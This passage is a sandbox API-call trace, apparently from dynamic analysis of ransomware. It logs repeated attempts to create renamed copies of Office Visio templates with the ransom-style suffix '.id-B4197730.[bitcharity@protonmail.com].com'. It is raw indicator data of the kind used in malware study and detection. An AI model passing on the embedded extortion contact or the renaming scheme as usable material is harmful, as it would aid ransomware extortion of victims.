Office\\root\\Office16\\Visio Content\\1033\\IDEF0_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\idef0_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.925] CloseHandle (hObject=0x10bc) returned 1 [0274.926] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.926] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\INTANN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\intann_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.926] CloseHandle (hObject=0x10bc) returned 1 [0274.926] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.926] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\INTANN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\intann_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.927] CloseHandle (hObject=0x10bc) returned 1 [0274.927] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.927] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\INTERFACE_UML_CLASS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\interface_uml_class_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.928] CloseHandle (hObject=0x10bc) returned 1 [0275.618] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.618] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\INTERFACE_UML_CLASS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\interface_uml_class_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.619] CloseHandle (hObject=0x118c) returned 1 [0275.620] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.620] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ITIL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\itil_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.620] CloseHandle (hObject=0x118c) returned 1 [0275.621] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.621] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ITIL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\itil_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.621] CloseHandle (hObject=0x118c) returned 1 [0275.622] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.622] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ITIL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\itil_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.622] CloseHandle (hObject=0x118c) returned 1 [0275.624] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.624] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ITIL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\itil_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.624] CloseHandle (hObject=0x118c) returned 1 [0275.625] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.625] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LANGLV_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\langlv_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.625] CloseHandle (hObject=0x118c) returned 1 [0275.626] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.626] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LANGLV_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\langlv_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.627] CloseHandle (hObject=0x118c) returned 1 [0275.627] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.628] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LDAPDR_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ldapdr_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.628] CloseHandle (hObject=0x118c) returned 1 [0275.629] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.629] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LDAPDR_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ldapdr_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.629] CloseHandle (hObject=0x118c) returned 1 [0275.630] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.630] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LDAPOB_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ldapob_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.630] CloseHandle (hObject=0x118c) returned 1 [0275.631] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.631] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LDAPOB_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ldapob_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.631] CloseHandle (hObject=0x118c) returned 1 [0275.632] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.632] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LEGEND_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\legend_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.633] CloseHandle (hObject=0x118c) returned 1 [0275.634] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.634] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LEGEND_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\legend_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.634] CloseHandle (hObject=0x118c) returned 1 [0275.636] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.636] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LGND_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\lgnd_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.636] CloseHandle (hObject=0x118c) returned 1 [0275.637] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.637] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LGND_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\lgnd_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.637] CloseHandle (hObject=0x118c) returned 1 [0275.638] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.638] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LINPAT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\linpat_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.639] CloseHandle (hObject=0x118c) returned 1 [0275.639] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.639] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LINPAT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\linpat_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.640] CloseHandle (hObject=0x118c) returned 1 [0275.640] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.640] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LNDMRK_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\lndmrk_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.641] CloseHandle (hObject=0x118c) returned 1 [0275.643] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.643] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LNDMRK_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\lndmrk_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.643] CloseHandle (hObject=0x118c) returned 1 [0275.645] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.645] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LOGIC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\logic_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.645] CloseHandle (hObject=0x118c) returned 1 [0275.646] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.646] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\LOGIC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\logic_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.646] CloseHandle (hObject=0x118c) returned 1 [0275.647] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.647] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MAP3D_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\map3d_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.647] CloseHandle (hObject=0x118c) returned 1 [0275.648] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.648] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MAP3D_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\map3d_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.649] CloseHandle (hObject=0x118c) returned 1 [0275.650] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.650] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MAP3D_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\map3d_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.650] CloseHandle (hObject=0x118c) returned 1 [0275.651] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.651] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MAP3D_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\map3d_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.651] CloseHandle (hObject=0x118c) returned 1 [0275.652] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.652] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MAP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\map_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.652] CloseHandle (hObject=0x118c) returned 1 [0275.653] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.653] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\MAP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\map_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.824] CloseHandle (hObject=0x118c) returned 1 [0276.440] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.441] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\OFFFRN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\offfrn_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.441] CloseHandle (hObject=0x112c) returned 1 [0276.442] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.442] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 